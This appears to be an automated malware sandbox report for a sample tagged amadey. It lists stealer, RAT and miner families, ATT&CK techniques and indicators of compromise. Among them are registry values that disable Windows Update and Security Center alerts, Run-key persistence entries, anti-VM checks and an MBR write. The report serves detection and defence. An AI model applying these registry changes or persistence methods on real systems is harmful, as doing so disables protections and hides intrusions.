amadey | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Windows Service

T1543.003

Processes:

sysppvrdnvs.exesysklnorbcv.exesysvplervcs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe

Njrat family
njrat
Phorphiex family
phorphiex

Phorphiex payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\t2.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\r.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\tt.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Process spawned unexpected child process 42 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3560	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3432	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2844	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2216	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1268	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3896	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1260	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1168	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4776	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3964	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	328	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	596	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4424	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4636	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3468	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1352	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3280	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5036	1920	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3560	1920	schtasks.exe

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe	family_quasar
C:\Users\Admin\AppData\Local\Temp\Files\built.exe	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\14082024.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\Files\js.exe	family_redline

Redline family
redline
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

Processes:

Possibly.pif1214336818.exewinupsecvmgr.exeMsBuild.exe

description	pid	process	target process
PID 740 created 3336	740	Possibly.pif	Explorer.EXE
PID 4228 created 3336	4228	1214336818.exe	Explorer.EXE
PID 4228 created 3336	4228	1214336818.exe	Explorer.EXE
PID 1844 created 3336	1844	winupsecvmgr.exe	Explorer.EXE
PID 1844 created 3336	1844	winupsecvmgr.exe	Explorer.EXE
PID 1844 created 3336	1844	winupsecvmgr.exe	Explorer.EXE
PID 2756 created 2264	2756	MsBuild.exe	sihost.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

sysklnorbcv.exesysvplervcs.exesysppvrdnvs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe	family_asyncrat
C:\Users\Admin\AppData\Local\Temp\Files\langla.exe	family_asyncrat

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\ARA.exe	dcrat
behavioral2/memory/1960-1175-0x0000000000F80000-0x0000000001110000-memory.dmp	dcrat
C:\Program Files\Google\Chrome\AsyncClient.exe	dcrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

document.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ document.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	document.exe

XMRig Miner payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1844-1174-0x00007FF6DF760000-0x00007FF6DFCF7000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4776	powershell.exe
3292	powershell.EXE
4952	powershell.EXE
3196	powershell.exe
2912	powershell.exe
336	powershell.exe
3840	powershell.exe
4544	powershell.exe
3684	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

Gwogw.exe

description ioc process

File created C:\Windows\system32\drivers\QAssist.sys Gwogw.exe
Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
defense_evasion

Network Share Connection Removal
T1070.005

Processes:

net.exe

pid process

6624 net.exe
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

3152 netsh.exe
Sets service image path in registry 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112

Processes:

Gwogw.exe

description ioc process

Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QAssist\ImagePath = "system32\\DRIVERS\\QAssist.sys" Gwogw.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Uses browser remote debugging 2 TTPs 6 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
credential_access stealer

Steal Web Session Cookie
T1539

Modify Authentication Process
T1556

Processes:

msedge.exemsedge.exechrome.exemsedge.exemsedge.exemsedge.exe

pid process

5036 msedge.exe
1868 msedge.exe
3508 chrome.exe
4556 msedge.exe
3092 msedge.exe
2012 msedge.exe

description	ioc	process
File created	C:\Windows\system32\drivers\QAssist.sys	Gwogw.exe

pid	process
6624	net.exe

pid	process
3152	netsh.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QAssist\ImagePath = "system32\\DRIVERS\\QAssist.sys"	Gwogw.exe

pid	process
5036	msedge.exe
1868	msedge.exe
3508	chrome.exe
4556	msedge.exe
3092	msedge.exe
2012	msedge.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\me.exe	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

document.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	document.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	document.exe

Drops startup file 7 IoCs

Processes:

svchost.exedllhost.exeserver.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.exe	dllhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.exe	dllhost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.url	dllhost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\af0aa29f43924811e1101d2b844fbfd3.exe	server.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\af0aa29f43924811e1101d2b844fbfd3.exe	server.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe

Executes dropped EXE 64 IoCs

Processes:

ConsiderableWinners.exePossibly.pifPossibly.pifStatement-415322024.exes.exeserver.exe1_encoded.exemsf.exeDecryptJohn.exetpeinf.exeTPB-1.exemain.exesysppvrdnvs.execlip.exeGREENpackage.exesvchost.exeAsyncClient.exedllhost.exelangla.exezzzz1.exe931427072.exehttp.exe2667518541.exe3311910624.exe1214336818.exewinupsecvmgr.exeloader.exerhsgn_protected.exeMeeting.exepeinf.exeARA.exet2.exesysklnorbcv.exedllhost.exeMsblockreview.exewinlogon.exe146064981.exeWindowsUI.exedayum.exe478229728.exebuild555.exeserver.exeAuthenticator.exeArmanivenntii_crypted_EASY.exe2233122421.exeDRIVEapplet.exeXClient.exeservice.execonnector1.exeggg.exeggg.exedllhost.exePrototype.exewinrar-x64-701.exer.exewinrar-info.exewinrar-x64-701ru.exesysvplervcs.exeUpdate.exe2905210929.exe272992552.exenpldfzxzkixc.exe438530819.exedllhost.exe

pid	process
1928	ConsiderableWinners.exe
740	Possibly.pif
2328	Possibly.pif
380	Statement-415322024.exe
4272	s.exe
3080	server.exe
1572	1_encoded.exe
1068	msf.exe
3716	DecryptJohn.exe
2112	tpeinf.exe
4056	TPB-1.exe
4696	main.exe
3868	sysppvrdnvs.exe
4252	clip.exe
4272	GREENpackage.exe
900	svchost.exe
2580	AsyncClient.exe
4944	dllhost.exe
4824	langla.exe
1400	zzzz1.exe
4276	931427072.exe
4224	http.exe
3724	2667518541.exe
1824	3311910624.exe
4228	1214336818.exe
1844	winupsecvmgr.exe
452	loader.exe
2128	rhsgn_protected.exe
5068	Meeting.exe
572	peinf.exe
4540	ARA.exe
1268	t2.exe
5012	sysklnorbcv.exe
4664	dllhost.exe
1960	Msblockreview.exe
4636	winlogon.exe
1900	146064981.exe
2704	WindowsUI.exe
1288	dayum.exe
3912	478229728.exe
1564	build555.exe
2492	server.exe
3164	Authenticator.exe
2000	Armanivenntii_crypted_EASY.exe
2132	2233122421.exe
1484	DRIVEapplet.exe
2940	XClient.exe
4040	service.exe
2676	connector1.exe
2032	ggg.exe
4728	ggg.exe
2428	dllhost.exe
4512	Prototype.exe
4272	winrar-x64-701.exe
748	r.exe
4744	winrar-info.exe
1884	winrar-x64-701ru.exe
3824	sysvplervcs.exe
432	Update.exe
3000	2905210929.exe
2956	272992552.exe
2080	npldfzxzkixc.exe
1472	438530819.exe
3600	dllhost.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

document.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Wine document.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Wine	document.exe

Loads dropped DLL 23 IoCs

Processes:

DecryptJohn.exeTPB-1.exeGREENpackage.exeArmanivenntii_crypted_EASY.exeggg.exeDRIVEapplet.execw_launcher.execw_launcher.execw_launcher.execw_launcher.execw_launcher.execw_launcher.exe

pid	process
3716	DecryptJohn.exe
4056	TPB-1.exe
4056	TPB-1.exe
4272	GREENpackage.exe
2000	Armanivenntii_crypted_EASY.exe
4728	ggg.exe
4728	ggg.exe
4728	ggg.exe
1484	DRIVEapplet.exe
5900	cw_launcher.exe
6096	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
5508	cw_launcher.exe
5820	cw_launcher.exe
5644	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

sysppvrdnvs.exesysklnorbcv.exesysvplervcs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

t2.exeWindowsUI.exeserver.exer.exesvchost.exedllhost.exenewtpp.exetpeinf.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\MyApp = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\WindowsUI.exe\""	WindowsUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\af0aa29f43924811e1101d2b844fbfd3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\af0aa29f43924811e1101d2b844fbfd3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost.exe = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost.exe = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	newtpp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	tpeinf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

Processes:

server.exe

description	ioc	process
File opened (read-only)	\??\k:	server.exe
File opened (read-only)	\??\q:	server.exe
File opened (read-only)	\??\r:	server.exe
File opened (read-only)	\??\y:	server.exe
File opened (read-only)	\??\e:	server.exe
File opened (read-only)	\??\i:	server.exe
File opened (read-only)	\??\l:	server.exe
File opened (read-only)	\??\z:	server.exe
File opened (read-only)	\??\a:	server.exe
File opened (read-only)	\??\j:	server.exe
File opened (read-only)	\??\u:	server.exe
File opened (read-only)	\??\x:	server.exe
File opened (read-only)	\??\o:	server.exe
File opened (read-only)	\??\p:	server.exe
File opened (read-only)	\??\h:	server.exe
File opened (read-only)	\??\m:	server.exe
File opened (read-only)	\??\n:	server.exe
File opened (read-only)	\??\s:	server.exe
File opened (read-only)	\??\t:	server.exe
File opened (read-only)	\??\v:	server.exe
File opened (read-only)	\??\b:	server.exe
File opened (read-only)	\??\g:	server.exe
File opened (read-only)	\??\w:	server.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service
T1102

Processes:

flow ioc

1 bitbucket.org
1 raw.githubusercontent.com
14 bitbucket.org
29 raw.githubusercontent.com
567 raw.githubusercontent.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

808 ip-api.com
1 ip-api.com
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4784 powercfg.exe
2608 powercfg.exe
1504 powercfg.exe
424 powercfg.exe
2872 powercfg.exe
960 powercfg.exe
2428 powercfg.exe
1268 powercfg.exe
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

server.exe

description ioc process

File opened for modification \??\PhysicalDrive0 server.exe

flow	ioc
1	bitbucket.org
1	raw.githubusercontent.com
14	bitbucket.org
29	raw.githubusercontent.com
567	raw.githubusercontent.com

flow	ioc
808	ip-api.com
1	ip-api.com

pid	process
4784	powercfg.exe
2608	powercfg.exe
1504	powercfg.exe
424	powercfg.exe
2872	powercfg.exe
960	powercfg.exe
2428	powercfg.exe
1268	powercfg.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	server.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1003066001\e2a0c058fe.exe	autoit_exe

Drops file in System32 directory 9 IoCs

Processes:

svchot.exepowershell.exenpldfzxzkixc.exepowershell.EXEplswork.exeUpdate.exe

description	ioc	process
File created	C:\Windows\SysWOW64\Gwogw.exe	svchot.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	npldfzxzkixc.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File opened for modification	C:\Windows\system32\SubDir\Client.exe	plswork.exe
File opened for modification	C:\Windows\SysWOW64\Gwogw.exe	svchot.exe
File opened for modification	C:\Windows\system32\MRT.exe	Update.exe
